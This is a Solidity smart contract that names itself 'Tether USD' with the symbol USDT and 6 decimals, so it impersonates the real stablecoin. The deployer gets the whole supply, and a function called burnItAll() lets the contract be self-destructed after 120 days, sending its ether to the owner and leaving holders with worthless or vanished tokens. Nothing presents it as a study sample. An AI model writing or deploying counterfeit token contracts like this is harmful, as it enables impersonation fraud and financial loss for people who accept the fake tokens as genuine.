Tether USD (USDT)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract TetherUSD {
    string public name = "Tether USD";
    string public symbol = "USDT";
    uint8 public decimals = 6;
    uint256 public totalSupply;
    address public owner;
    uint256 public createdAt;

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    event Transfer(address indexed from, address indexed to, uint256 value);

    constructor(uint256 _supply) {
        owner = msg.sender;
        totalSupply = _supply * 10**uint256(decimals);
        balanceOf[owner] = totalSupply;
        createdAt = block.timestamp;
    }

    function transfer(address _to, uint256 _value) external returns (bool) {
        require(balanceOf[msg.sender] >= _value, "Insufficient");
        balanceOf[msg.sender] -= _value;
        balanceOf[_to] += _value;
        emit Transfer(msg.sender, _to, _value);
        return true;
    }

    function approve(address _spender, uint256 _value) external returns (bool) {
        allowance[msg.sender][_spender] = _value;
        return true;
    }

    function transferFrom(address _from, address _to, uint256 _value) external returns (bool) {
        require(balanceOf[_from] >= _value, "Insufficient");
        require(allowance[_from][msg.sender] >= _value, "Not approved");
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        allowance[_from][msg.sender] -= _value;
        emit Transfer(_from, _to, _value);
        return true;
    }

    function burnItAll() external {
        require(block.timestamp >= createdAt + 120 days, "Too early");
        selfdestruct(payable(owner));
    }
}